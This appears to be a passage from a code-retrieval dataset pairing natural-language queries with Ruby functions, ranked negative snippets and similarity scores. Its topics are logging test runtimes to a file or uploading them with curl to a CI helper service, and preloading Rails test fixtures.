"def same_bsts(array_one, array_two)\n return false if array_one.length != array_two.length\n\n return true if array_one.empty? && array_two.empty?\n\n return false if array_one[0] != array_two[0]\n\n left_one = get_smaller(array_one)\n left_two = get_smaller(array_two)\n right_one = get_bigger_or_equal(array_one)\n right_two = get_bigger_or_equal(array_two)\n\n return same_bsts(left_one, left_two)\n return same_bsts(right_one, right_two)\nend",
"def hash_two_sum?(arr, target)\n hash_count = {}\n\n arr.each { |el| hash_count[el] = true }\n\n hash_count.each_key do |key|\n return true unless hash_count[target - key].nil?\n end\n\n false\n \nend",
"def union(setone,settwo) \n #Find the number of elements , make root of the Tree with fewer nodes point to root of the tree with large node\n first=find(setone)\n second=find(settwo)\n\n if first.instance_of?(String) || second.instance_of?(String) then\n puts 'One of the Input is not a valid set'\n return\n end\n \n if first[1]>=second[1] then\n @store[settwo]=setone #settwo has more elements\n @store[first[0]]=second[1]+first[1]\n else\n @store[setone]=settwo\n @store[first[0]]=first[1]+second[1]\n end\n end",
"def key_for_min_value(hash)\n least_value = nil \n least_key = nil\n hash.each do |a, b|\n if least_value == nil || b < least_value\n least_value = b\n least_key = a\n end\n end\n least_key\nend",
"def select!(&b)\n keys = []\n self.each_key{|k|\n v = self[k]\n unless b.call(k, v)\n keys.push(k)\n end\n }\n return nil if keys.size == 0\n keys.each{|k|\n self.delete(k)\n }\n self\n end",
"def key_for_min_value(name_hash)\nif name_hash.size != 0\n while name_hash.length != 1 \n test = name_hash.max_by{|k,v| v}\n name_hash.delete(test[0])\n end\n r = name_hash.to_a \n r[0][0]\nelse\n return nil\nend\nend",
"def bisect\n entry_set_A = self.class.new(@entries[0, (@entries.length / 2)])\n entry_set_B = self.class.new(@entries[(@entries.length / 2), @entries.length])\n [entry_set_A, entry_set_B]\n end",
"def dependent_objects\n dependent_objects_map.map do |k, v|\n v.limit(1).count > 0 ? k : nil\n end.compact\n end",
"def union(x, y)\n j = find(x)\n k = find(y)\n if j != k\n @parent_array[k] = j\n end\n end",
"def equal(arr)\n size = arr.size\n hash = Hash.new{|h,k| h[k] = []}\n (0...size).each do |i|\n (i + 1...size - 1).each do |j|\n sum = arr[i] + arr[j]\n if hash.has_key?(sum)\n values = hash[sum]\n values << i\n values << j\n return values\n else\n hash[sum] = [i, j]\n end\n end\n end\nend",
"def merge(arr1, arr2)\n return arr2 if arr1.size < 1\n return arr1 if arr2.size < 1\n\n merged_lists = []\n counter1 = 0\n counter2 = 0\n iterations = arr1.size + arr2.size\n\n iterations.times do |n|\n if arr1[counter1] == nil\n merged_lists << arr2[counter2]\n elsif arr2[counter2] == nil\n merged_lists << arr1[counter1]\n elsif arr1[counter1] <= arr2[counter2]\n merged_lists << arr1[counter1]\n counter1 += 1\n else\n merged_lists << arr2[counter2]\n counter2 += 1\n end\n end\n\n merged_lists\nend",
"def merge(other_hash); end",
"def key_for_min_value(name_hash)\n low_key = nil\nlow_value = nil\nname_hash.each do |key, value|\n # binding.pry\n if low_value == nil or low_value > value\n low_value = value\n low_key = key\n end \nend\nlow_key\nend",
"def bfs(g,s)\r\n q = []\r\n dists = Hash.new(Float::INFINITY)\r\n curr = s\r\n dists[curr] = 0\r\n \r\n #q += g[curr].each_index.select {|v| v != s && !dists.include?(v) && g[curr][v] == 1 }.map {|v| [curr,v] }\r\n g[curr].each.with_index {|e,v| q.push [curr,v] if v != s && e == 1 && !dists.include?(v)}\r\n while q.size > 0\r\n \tprev,curr = q.shift\r\n dists[curr] = [6 + dists[prev],dists[curr]].min\r\n #q += g[curr].each_index.select {|v| v != s && !dists.include?(v) && g[curr][v] == 1 }.map {|v| [curr,v] }\r\n g[curr].each.with_index {|e,v| q.push [curr,v] if v != s && e == 1 && !dists.include?(v)}\r\n #prev,curr = q.shift\r\n end\r\n \r\n return dists\r\nend",
"def combine(a, b)\n #Do NOT call .sort\n #no .min, use .first\n # create a results array\n result_array = []\n # counters pointing to the index of the smallest elements in each array\n # check that we have elements to compare\n #return false if a.length != b.length\n until a.empty? || b.empty?\n\n a_min_index = a.first\n b_min_index = b.first\n\n if a_min_index < b_min_index\n result_array << a.shift\n\n else\n result_array << b.shift\n end\n\n # push the smaller element onto the result array\n end\n\n result_array += a if b.empty?\n result_array += b if a.empty?\n\n #if one array has more number than the other, i'll need to comtinue comparing those elements within the array\n return result_array\n # if there are elements left over in a, move them to result\n # if there are elements left over in b, move them to result\nend"
] |
[
"0.6267201",
"0.6113411",
"0.5837487",
"0.5693437",
"0.5684041",
"0.56149745",
"0.5596037",
"0.55826306",
"0.5524331",
"0.55197954",
"0.55040365",
"0.5498897",
"0.5498897",
"0.5475461",
"0.5471344",
"0.54435736",
"0.54267",
"0.54155016",
"0.54134613",
"0.54130995",
"0.54105896",
"0.54072165",
"0.5399766",
"0.5398928",
"0.5392293",
"0.5389012",
"0.5385562",
"0.53743905",
"0.53715426",
"0.5369145",
"0.5361112",
"0.5361087",
"0.5337407",
"0.532924",
"0.53258866",
"0.53204554",
"0.53187984",
"0.5314994",
"0.5311355",
"0.5303291",
"0.52989316",
"0.5298231",
"0.5292601",
"0.5279276",
"0.5274462",
"0.5272722",
"0.5267181",
"0.5264141",
"0.52581364",
"0.52551717",
"0.5252214",
"0.52435684",
"0.52395415",
"0.5235183",
"0.52287674",
"0.52261317",
"0.5218558",
"0.52165854",
"0.52157354",
"0.5214425",
"0.52140313",
"0.519998",
"0.51936954",
"0.51926494",
"0.5191678",
"0.5189557",
"0.5181011",
"0.5177155",
"0.51735073",
"0.5170705",
"0.5163761",
"0.5160515",
"0.51577693",
"0.51572096",
"0.51518595",
"0.515033",
"0.51416445",
"0.51283973",
"0.5126743",
"0.5125928",
"0.51169",
"0.5116602",
"0.5109713",
"0.5094373",
"0.50943154",
"0.5081199",
"0.50728905",
"0.5067294",
"0.5064436",
"0.50557417",
"0.5055542",
"0.50539225",
"0.50496626",
"0.50493765",
"0.50470257",
"0.504224",
"0.5037765",
"0.5037002",
"0.50319207",
"0.5031916",
"0.50318164"
] |
0.0
|
-1
|
log runtime via dumping or curling it into the runtime log location
|
def record_test_runtime(mode, results, log)
data = results.map { |test, time| "#{test}:#{time.round(2)}" }.join("\n") << "\n"
case mode
when 'simple'
File.write(log, data)
when 'amend'
if id = ENV["BUILDKITE_JOB_ID"]
slug = ENV.fetch("BUILDKITE_ORG_SLUG") + "-" + ENV.fetch("BUILDKITE_PIPELINE_SLUG")
else
slug = ENV.fetch("TRAVIS_REPO_SLUG").sub("/", "-")
id = ENV.fetch("TRAVIS_BUILD_NUMBER")
end
url = "https://amend.herokuapp.com/amend/#{slug}-#{id}"
require 'tempfile'
Tempfile.open("runtime.log") do |f|
f.write(data)
f.close
result = `curl -X POST --data-binary @#{f.path} #{url}`
puts "amended runtime log\ncurl #{url} | sort > #{log}\nStatus: #{$?.success?}\nResponse: #{result}"
end
else
raise "Unsupported record-runtime flag: #{mode}"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def log_startup\n log_environment\n log_dispatcher\n log_app_name\n end",
"def debug_log(msg)\n Chef::Log.info(\"easybib_deploy_manager: #{msg}\")\nend",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log_version_and_pid\n ::NewRelic::Agent.logger.debug(\"New Relic Ruby Agent #{NewRelic::VERSION::STRING} Initialized: pid = #{$$}\")\n end",
"def log\n Engines.log\n end",
"def log\n end",
"def log(path)\n case path\n when *Global.boring\n else\n Log.info(\"Dynamic request from #{request.ip}: #{request.request_uri}\")\n end\n end",
"def log(message)\n puts \"[ dev/rails ] #{message}\"\nend",
"def log\n advanced[:log]\n end",
"def log\n ::Deployable::Log.log\n end",
"def log(msg)\n puts msg if @verbose\n end",
"def log(msg)\n puts msg if @verbose\n end",
"def druby_weblog_explain; \"Start the DRuby daemon for weblogs in your config.\"; end",
"def logs\n end",
"def debug(location, what = [:access, :files, :objects, :threads, :rails])\n require 'mongrel/debug'\n handlers = {\n :access => \"/handlers/requestlog::access\", \n :files => \"/handlers/requestlog::files\", \n :objects => \"/handlers/requestlog::objects\", \n :threads => \"/handlers/requestlog::threads\",\n :rails => \"/handlers/requestlog::params\"\n }\n\n # turn on the debugging infrastructure, and ObjectTracker is a pig\n MongrelDbg.configure\n\n # now we roll through each requested debug type, turn it on and load that plugin\n what.each do |type| \n MongrelDbg.begin_trace type \n uri location, :handler => plugin(handlers[type])\n end\n end",
"def log_http_call(payload); end",
"def log_http_call(payload); end",
"def log(msg)\n puts msg if $verbose\nend",
"def log_file; end",
"def logs\n\n end",
"def record_hit(klass, data)\n system(\"echo '#{data}' >> #{get_log_file_name(klass)}\")\n end",
"def log_file\n end",
"def log(msg)\n STDERR.puts msg if $verbose\nend",
"def log(msg)\n STDERR.puts msg if $verbose\nend",
"def test_logging\n\t$MEMORY_LOG.debug \"Test Memory Log : DEBUG\"\n\t$TIME_LOG.debug \"Test Time Log : DEBUG\"\n\t$MEMORY_LOG.error \"Test Memory Log : ERROR\"\n\t$TIME_LOG.error \"Test Time Log : ERROR\" \nend",
"def __log(method, path, params, body, url, response, json, took, duration)\n logger.info \"#{method.to_s.upcase} #{url} \" +\n \"[status:#{response.status}, request:#{sprintf('%.3fs', duration)}, query:#{took}]\"\n logger.debug \"> #{__convert_to_json(body)}\" if body\n logger.debug \"< #{response.body}\"\n end",
"def log(type='Log', text)\n puts \"[#{type}] #{text}\"\n submit_log(LOG_HOST, LOG_PORT, type, text)\nend",
"def debug_output_file\n \"debug.log\"\nend",
"def verbose_logging; end",
"def access_logger\n Rails.application.config.another_logger.info(\"#{request.method} '#{request.path}' #{request.version} from: #{request.remote_ip}\")\n end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def runtime; end",
"def log\n Engine.logger\n end",
"def autoflush_log; end",
"def autoflush_log; end",
"def log(msg)\n if ENV['LAUNCHY_DEBUG'] == 'true' then\n $stderr.puts \"LAUNCHY_DEBUG: #{msg}\"\n end\n end",
"def do_logging\n Log.debug \"debugging\"\n Log.info \"a piece of info\"\n Log.warn \"Danger, Will Robinson, danger!\"\n Log.error \"I dropped my Wookie! :(\"\n Log.fatal \"kaboom!\"\nend",
"def do_logging\n Log.debug \"debugging\"\n Log.info \"a piece of info\"\n Log.warn \"Danger, Will Robinson, danger!\"\n Log.error \"I dropped my Wookie! :(\"\n Log.fatal \"kaboom!\"\nend",
"def log(message)\n puts \"[ dev/docker ] #{message}\"\nend",
"def debug(msg) log(7, msg); end",
"def log(msg)\n SystemLog.fact(title: 'live-dynamo-controller', payload: msg)\n end",
"def _log(text)\n\t\topen($location+\"/logs/class.log\", 'a') { |f| f.puts(\"[\"+DateTime.now.strftime('%Y-%m-%d %H:%M:%S')+\"] \"+text+\"\\n\") } if (text.is_a?(String) && !text.empty?)\n\tend",
"def request_log(request); end",
"def log(level, message)\n @method = 'PostProvision'\n @debug = true\n $evm.log(level, \"#{@method} - #{message}\") if @debug\nend",
"def log_requests(which = T.unsafe(nil)); end",
"def log\n Chef::Log\n end",
"def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend",
"def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend",
"def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend",
"def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend",
"def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend",
"def log(type, msg, meta=nil)\n post type, msg, meta\n end",
"def log_dispatch(method, args=[])\n\t\t\tmeth_str = self.class.to_s + \"#\" + method.to_s\n\t\t\tmeth_str += \" #{args.inspect}\" unless args.empty?\n\t\t\tlog \"Dispatching to: #{meth_str}\"\n\t\tend",
"def logger_output; end",
"def logme\n\t\tlogger.debug \"============Main ApplicationController get calls at #{Time.now}\"\n\tend",
"def log str \n if $vips_debug\n puts str\n end\nend",
"def trace(msg)\n @self_logs.file.info(msg)\n @self_logs.stdout.info(msg) if @self_logs.stdout\n end",
"def debug(msg) log(DEBUG, \"DEBUG \" << format(msg) << \", \" << caller[0][caller[0].rindex(\"/\").nil? ? 0 : caller[0].rindex(\"/\") + 1 .. -1]); end",
"def startup_log\n return if ENV['SPLITCLIENT_ENV'] == 'test'\n\n @logger.info(\"Loaded Ruby SDK v#{VERSION} in the #{@mode} mode\")\n @logger.info(\"Loaded cache class: #{@cache_adapter.class}\")\n end",
"def log(msg)\n print \" \" if $trace && $verbose\n puts msg if $verbose\n end",
"def dynflow_logger\n ::Rails.logger\n end",
"def log(msg)\n print \" \" if $trace && $verbose\n $stderr.puts msg if $verbose\n end",
"def logger ; @log end",
"def log()\n @log\n end",
"def dump_startup_time\n File.open( $PROJECT_DIR + '/' + $TIME_LOG_FILE, \"w+\" ) do |outfile|\n Marshal.dump( Time.now, outfile )\n end\nend",
"def log_request\n logger.info \"HTTP request received => #{request.fullpath} , params => #{params} \"\n end",
"def log(s)\n puts \"[Debug]: #{s}\"\nend",
"def log(s)\n puts \"[Debug]: #{s}\"\nend",
"def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend",
"def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend",
"def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend",
"def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend",
"def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend",
"def debug (msg = \"\")\n if Object.const_defined?('Puppet')\n Puppet.debug 'facter(extra_modulepath):'+msg\n else\n if ENV['FACTER_DEBUG'] == 'true'\n $stdout.puts msg\n $stdout.flush\n end\n end\nend",
"def log(msg)\n\t\tSyslog.info(msg) if @verbose\n\tend"
] |
[
"0.66599214",
"0.62891406",
"0.62763715",
"0.62763715",
"0.62763715",
"0.62763715",
"0.62763715",
"0.62763715",
"0.62763715",
"0.62763715",
"0.6120447",
"0.6100217",
"0.60659903",
"0.59829795",
"0.59028375",
"0.58917505",
"0.58807623",
"0.5876165",
"0.5876165",
"0.5829135",
"0.5817372",
"0.5806896",
"0.57577246",
"0.57577246",
"0.57559764",
"0.5743205",
"0.5731148",
"0.5706789",
"0.56837755",
"0.56829286",
"0.56829286",
"0.5680487",
"0.567493",
"0.56631625",
"0.56424916",
"0.56267846",
"0.56230664",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.5608387",
"0.56039155",
"0.55940306",
"0.558934",
"0.558934",
"0.5584987",
"0.5564933",
"0.5564933",
"0.55561745",
"0.5545665",
"0.5532819",
"0.5531246",
"0.5523463",
"0.5492375",
"0.54729164",
"0.54684335",
"0.5464577",
"0.5464577",
"0.5464577",
"0.5464577",
"0.5464577",
"0.5459228",
"0.54563886",
"0.5454612",
"0.5451502",
"0.54454374",
"0.5443645",
"0.5443591",
"0.543971",
"0.54316586",
"0.54289055",
"0.54280746",
"0.5422582",
"0.54154414",
"0.5415102",
"0.54112744",
"0.54057044",
"0.54057044",
"0.5402424",
"0.5402424",
"0.5402424",
"0.5402424",
"0.5402424",
"0.5398556",
"0.5393613"
] |
0.63583314
|
1
|
This forces Rails to load all fixtures, then prevents it from "deleting and reinserting all fixtures" when a new connection is used (forked).
|
def preload_fixtures
return if @options.fetch(:no_fixtures)
fixtures = (ActiveSupport::VERSION::MAJOR == 3 ? ActiveRecord::Fixtures : ActiveRecord::FixtureSet)
# reuse our pre-loaded fixtures even if we have a different connection
fixtures_eigenclass = class << fixtures; self; end
fixtures_eigenclass.send(:define_method, :cache_for_connection) do |_connection|
fixtures.class_variable_get(:@@all_cached_fixtures)[:unique]
end
ActiveSupport::TestCase.fixtures :all
fixtures.create_fixtures(
ActiveSupport::TestCase.fixture_path,
ActiveSupport::TestCase.fixture_table_names,
ActiveSupport::TestCase.fixture_class_names
)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def load_fixtures\n # fixtures = ENV['FIXTURES'] ? ENV['FIXTURES'].split(/,/) : Dir.glob(File.join(File.dirname(__FILE__), 'test', 'fixtures', '*.{yml,csv}')) \n fixtures = [ 'active_sources', 'semantic_relations', 'semantic_properties' 'data_records']\n fixtures.reverse.each { |f| ActiveRecord::Base.connection.execute \"DELETE FROM #{f}\" }\n fixtures.each do |fixture_file|\n Fixtures.create_fixtures(File.join('test', 'fixtures'), File.basename(fixture_file, '.*')) \n end \n end",
"def setup_with_fixtures\n ActiveRecord::Base.send :increment_open_transactions\n ActiveRecord::Base.connection.begin_db_transaction\n load_fixtures\n end",
"def load_all_fixtures\n \n end",
"def clear_loaded_fixtures(already_loaded_fixtures)\n connection = ActiveRecord::Base.connection\n connection.transaction(:requires_new => true) do\n already_loaded_fixtures.values.each do |loaded_fixtures|\n next if loaded_fixtures.nil?\n loaded_fixtures.each_value do |fixtures|\n if fixtures.respond_to?(:delete_existing_fixtures)\n fixtures.delete_existing_fixtures\n else\n fixtures.table_rows.keys.each do |table|\n connection.delete \"DELETE FROM #{connection.quote_table_name(table)}\", 'Fixture Delete'\n end\n\n end\n end\n end\n # Cap primary key sequences to max(pk).\n if connection.respond_to?(:reset_pk_sequence!)\n fixture_table_names.each do |table_name|\n connection.reset_pk_sequence!(table_name)\n end\n end\n end\n\n already_loaded_fixtures.clear\n ActiveRecord::Fixtures.reset_cache # required to not break when multiple tests are run\n end",
"def load_fixtures\n load(*fixture_table_names)\n end",
"def already_loaded_fixtures\n begin\n self.class.send(:class_variable_get, :@@already_loaded_fixtures)\n rescue NameError # might get here on first run in a single test\n nil #{ self.class => {} }\n end\n end",
"def setup_default_fixtures(files = ['sample_actors' , 'users', 'wiki_entries'])\n Fixtures.reset_cache\n files.each do |f|\n Fixtures.create_fixtures( File.dirname(__FILE__) + '/../fixtures' , File.basename( f , '.*'))\n end\nend",
"def reset\n callbacks[:before_fixtures_reset].each(&:call)\n\n clean\n tables_cache.clear\n cache.clear\n\n callbacks[:after_fixtures_reset].each(&:call)\n callbacks.clear\n end",
"def before_setup\n Account.connection.drop_table :accounts, if_exists: true\n Account.connection.exec_query(\"CREATE SEQUENCE accounts_id_seq\")\n Account.connection.exec_query(\"\n CREATE TABLE accounts (\n id BIGINT PRIMARY KEY DEFAULT nextval('accounts_id_seq'),\n firm_id bigint,\n firm_name character varying,\n credit_limit integer\n )\n \")\n\n Company.connection.drop_table :companies, if_exists: true\n Company.connection.exec_query(\"CREATE SEQUENCE companies_nonstd_seq\")\n Company.connection.exec_query(\"\n CREATE TABLE companies (\n id BIGINT PRIMARY KEY DEFAULT nextval('companies_nonstd_seq'),\n type character varying,\n firm_id bigint,\n firm_name character varying,\n name character varying,\n client_of bigint,\n rating bigint,\n account_id integer,\n description character varying\n )\n \")\n\n Course.connection.drop_table :courses, if_exists: true\n Course.connection.exec_query(\"CREATE SEQUENCE courses_id_seq\")\n Course.connection.exec_query(\"\n CREATE TABLE courses (\n id INT PRIMARY KEY DEFAULT nextval('courses_id_seq'),\n name character varying,\n college_id integer\n )\n \")\n\n self.class.fixtures :accounts\n self.class.fixtures :companies\n self.class.fixtures :courses\n end",
"def load_into_database(options={})\n # necessary to make multiple invocations possible in a single test\n # case possible\n ActiveRecord::Fixtures.reset_cache\n\n # Filter down the models to load if specified\n the_tables = if options.has_key?(:only)\n self.table_names.select {|x| Array(options[:only]).map(&:to_s).include?(x) }\n elsif options.has_key?(:except)\n self.table_names.select {|x| !Array(options[:except]).map(&:to_s).include?(x) }\n else\n self.table_names\n end\n raise \"No models to load, relax your :only or :except filters (or don't bother calling this method)\" if the_tables.empty?\n\n\n #This wraps all the inserts into a single transaction allowing the constraint check to happen at the end.\n ActiveRecord::Base.transaction do\n\n the_tables.each do |table_name|\n class_name = if self.table_name_to_model_name_hash.kind_of?(Hash)\n self.table_name_to_model_name_hash[table_name]\n else\n ActiveSupport::Deprecation.warn \"your fe_manifest.yml does not contain a table_name_to_model_name_hash (as found in 1.0.0 or earlier). Version 2.0.0 will require this. See test cases for how to manually jigger your fe_manifest.ymls to function.\"\n nil\n end\n if options[:map].nil?\n # Vanilla create_fixtures will work fine when no mapping is being used\n ActiveRecord::Fixtures.create_fixtures(self.target_path, table_name)\n else\n # Map table_name via a function (great for prefixing)\n new_table_name = if options[:map].kind_of?(Proc)\n options[:map].call(table_name)\n # Map table_name via a Hash table name mapping\n elsif options[:map][table_name].kind_of? String\n options[:map][table_name]\n else\n table_name # No mapping for this table name\n end\n fixtures = ActiveRecord::Fixtures.new( ActiveRecord::Base.connection,\n new_table_name,\n class_name,\n ::File.join(self.target_path, table_name))\n fixtures.table_rows.each do |the_table_name,rows|\n rows.each do |row|\n ActiveRecord::Base.connection.insert_fixture(row, the_table_name)\n end\n end\n end\n # FIXME: The right way to do this is to fork the oracle enhanced adapter\n # and implement a reset_pk_sequence! method, this is what ActiveRecord::Fixtures\n # calls. aka this code should be eliminated/live elsewhere.\n case ActiveRecord::Base.connection.adapter_name\n when /oracle/i\n model = class_name.constantize\n if model.column_names.include? \"id\"\n sequence_name = model.sequence_name.to_s\n max_id = model.maximum(:id)\n next_id = max_id.nil? ? 1 : max_id.to_i + 1\n begin\n ActiveRecord::Base.connection.execute(\"drop sequence #{sequence_name}\")\n rescue\n puts \"[Iron Fixture Extractor] WARNING: couldnt drop the sequence #{sequence_name}, (but who cares!)\"\n end\n begin\n q=\"create sequence #{sequence_name} increment by 1 start with #{next_id}\"\n ActiveRecord::Base.connection.execute(q)\n rescue\n puts \"[Iron Fixture Extractor] WARNING: couldnt create the sequence #{sequence_name}\"\n end\n end\n else\n # Do nothing, only oracle adapters need this\n end\n end\n end # End transaction\n end",
"def before_setup\n super\n DatabaseCleaner.start\n end",
"def clear_all_fixtures\n Company.destroy_all\n end",
"def before_setup\n super\n DatabaseCleaner.start\n end",
"def load_all_seeds\n puts \"Loading db/seeds/*\"\n Dir[File.join(Rails.root, 'db', 'seeds', '*.rb')].sort.each { |seed| load seed }\nend",
"def fixtures(name)\n entry = YAML::load_file(File.dirname(__FILE__) + \"/spec/fixtures/#{name}.yaml\")\n klass = begin\n Kernel::const_get(Inflector.classify(Inflector.singularize(name)))\n rescue\n nil\n end\n\n unless klass.nil?\n database.logger.debug { \"AUTOMIGRATE: #{klass}\" }\n klass.auto_migrate!\n\n (entry.kind_of?(Array) ? entry : [entry]).each do |hash|\n if hash['type']\n Object::const_get(hash['type'])::create(hash)\n else\n klass::create(hash)\n end\n end\n else\n table = database.table(name.to_s)\n table.create! true\n table.activate_associations!\n\n #pp database.schema\n\n (entry.kind_of?(Array) ? entry : [entry]).each do |hash|\n table.insert(hash)\n end\n end\nend",
"def load_fixtures\n Firefly::Url.destroy\n urls = YAML::load(File.open('spec/fixtures/urls.yml'))\n urls.each { |key, url| Firefly::Url.create(url) }\n end",
"def test_after_preload_classes_are_preloaded\n Rails2Preload.preload_until(:disable_dependency_loading)\n assert Rails2Preload.preload_methods.include?(:load_application_classes)\n\n Spin.execute_hook(:before_preload)\n Rails2Preload.initialize_rails\n Spin.execute_hook(:after_preload)\n\n assert ActiveRecord::Base.connection_pool.disconnected?\n end",
"def setup\n DatabaseCleaner.start\n end",
"def setup\n DatabaseCleaner.start\n end",
"def load_seeds(*files)\n env = Rails.env\n\n `cp -R ./spec/fixtures/seeds/#{env}/files ./spec/fixtures/db/seeds/#{env}`\n\n files.each do |file|\n `cp ./spec/fixtures/seeds/#{env}/#{file} ./spec/fixtures/db/seeds/#{env}`\n end\n\n yield\n\n `rm -R ./spec/fixtures/db/seeds/#{env}/files`\n\n files.each do |file|\n `rm ./spec/fixtures/db/seeds/#{env}/#{file}`\n end\nend",
"def test_create_fixtures_resets_sequences_when_not_cached\n @instances.each do |instance|\n max_id = create_fixtures(instance.class.table_name).first.fixtures.inject(0) do |_max_id, (_, fixture)|\n fixture_id = fixture[\"id\"].to_i\n fixture_id > _max_id ? fixture_id : _max_id\n end\n\n # Clone the last fixture to check that it gets the next greatest id.\n instance.save!\n assert_equal max_id + 1, instance.id, \"Sequence reset for #{instance.class.table_name} failed.\"\n end\n end",
"def thelper_enable_database_cleaner\n if ( self.use_transactional_fixtures )\n self.use_transactional_fixtures = false\n\n DatabaseCleaner.strategy = :deletion\n\n self.class.setup :thelper_dc_start_wrapper\n self.class.teardown :thelper_dc_clean_wrapper\n end\n end",
"def before_fork\n return unless (defined? ::DataObjects::Pooling)\n return if ::DataMapper.repository.adapter.to_s =~ /Sqlite3Adapter/\n ::DataMapper.logger.debug \"+-+-+-+-+ Cleaning up connection pool (#{::DataObjects::Pooling.pools.length}) +-+-+-+-+\"\n ::DataObjects::Pooling.pools.each {|p| p.dispose} \n end",
"def alter_fixtures(&block)\n @fixtures = adjust_fixtures(\n @options, &block\n )\n end",
"def thelper_disable_database_cleaner\n unless ( self.use_transactional_fixtures )\n self.use_transactional_fixtures = true\n\n self.class.skip_callback(:setup, :before, :thelper_dc_start_wrapper)\n self.class.skip_callback(:teardown, :after, :thelper_dc_clean_wrapper)\n end\n end",
"def ensure_cascade_on_associations\n # ensure all BQ data is cleaned up first\n self.delete_convention_data\n self.study_files.each do |file|\n DataArray.where(study_id: self.id, study_file_id: file.id).delete_all\n end\n Gene.where(study_id: self.id).delete_all\n CellMetadatum.where(study_id: self.id).delete_all\n PrecomputedScore.where(study_id: self.id).delete_all\n ClusterGroup.where(study_id: self.id).delete_all\n StudyFile.where(study_id: self.id).delete_all\n DirectoryListing.where(study_id: self.id).delete_all\n UserAnnotation.where(study_id: self.id).delete_all\n UserAnnotationShare.where(study_id: self.id).delete_all\n UserDataArray.where(study_id: self.id).delete_all\n AnalysisMetadatum.where(study_id: self.id).delete_all\n StudyFileBundle.where(study_id: self.id).delete_all\n end",
"def teardown\n if @models.any?\n teardown_models\n teardown_namespaces\n ActiveSupport::Dependencies::Reference.clear! if ActiveRecord::VERSION::MAJOR < 7\n end\n end",
"def test_after_preload_classes_not_preloaded\n refute Rails2Preload.preload_methods.include?(:load_application_classes)\n\n Spin.execute_hook(:before_preload)\n Rails2Preload.initialize_rails\n Spin.execute_hook(:after_preload)\n\n refute ActiveRecord::Base.connection_pool.disconnected?\n end",
"def insert_fixtures_set(fixture_set, tables_to_delete = [])\n fixture_inserts = build_fixture_statements(fixture_set)\n table_deletes = tables_to_delete.map { |table| \"DELETE FROM #{quote_table_name(table)}\" }\n statements = table_deletes + fixture_inserts\n\n with_multi_statements do\n disable_referential_integrity do\n execute_batch(statements, \"Fixtures Load\")\n end\n end\n end",
"def fixtures\n @fixtures ||= Dir[Rails.root.join(\"spec\", \"fixtures\", \"*/*\")]\n end",
"def run_active_record_migrations!\n ActiveRecord::Migration.verbose = false\n ActiveRecord::Migrator.migrate([\"test/fixtures/migrate\"])\n end",
"def seeds_data\n rake(\"db:reload\")\n end",
"def load_tables\n return if Rails.env.test?\n PgTools.set_search_path id, false\n load \"#{Rails.root}/db/schema.rb\"\n ActiveRecord::Base.connection.execute %{drop table \"websites\"}\n PgTools.restore_default_search_path\n end",
"def setup\n # Retrieve fixtures via their name\n # @first = accounts(:first)\n end",
"def depends_on( *other_fixtures )\n\t\tself.collection.load( *other_fixtures )\n\tend",
"def setup_database\n ActiveRecord::Base.remove_connection\n\n ActiveRecord::Base.establish_connection(\n adapter: 'sqlite3',\n database: ':memory:'\n )\n\n ActiveRecord::Migration.suppress_messages do\n load File.expand_path('db/schema.rb')\n end\nend",
"def setup\r\n # Retrieve fixtures via their name\r\n # @first = categories(:first)\r\n end",
"def run\n\t\t\tflush_database\n\t\t\tseed_countries\n\t\t\tseed_group_organizations\n\t\t\tseed_organizations\n\t\t\tseed_locations\n\t\t\tseed_admin\n\t\t\tseed_api_key\n\t\tend",
"def configure_clean_database_before_example\n require 'database_cleaner' # optional dependency\n configure do |config|\n config.before(:each) do\n # Truncation works across most database adapters; I had issues with :deletion and pg\n DatabaseCleaner.clean_with(:truncation)\n end\n end\n end",
"def teardown\n\t\tActiveRecord::Base.clear_all_connections!\n\t\t#File.delete \"test.sqlite\"\n\tend",
"def start_cleaning\n DatabaseCleaner.start\n end",
"def load_users_fixture\n self.class.load_users_fixture\n end",
"def load_external_fixture(path=nil)\n self.destroy_all\n path ||= File.expand_path(\"spec/fixtures/#{table_name}.yml\", RAILS_ROOT)\n records_hash = {}\n records = YAML::load( File.open( path ) )\n records.each do |key, attributes|\n new_record = self.new(attributes)\n new_record.send(\"#{primary_key}=\".to_sym, attributes[primary_key].to_i)\n keys = { primary_key => attributes[primary_key].to_i }\n reflect_on_all_associations.each do |association|\n if association.macro == :belongs_to\n foreign_key = association.options[:foreign_key]\n keys[foreign_key] = attributes[foreign_key].to_i\n new_record.send(\"#{foreign_key}=\".to_sym, keys[foreign_key])\n end\n end \n records_hash[key.to_sym] = new_record.attributes.merge(keys) \n new_record.save \n end\n records_hash\n end",
"def preload_data\n DataStore.instance.insert_data('users', 'data/users.json')\n DataStore.instance.insert_data('tickets', 'data/tickets.json')\n end",
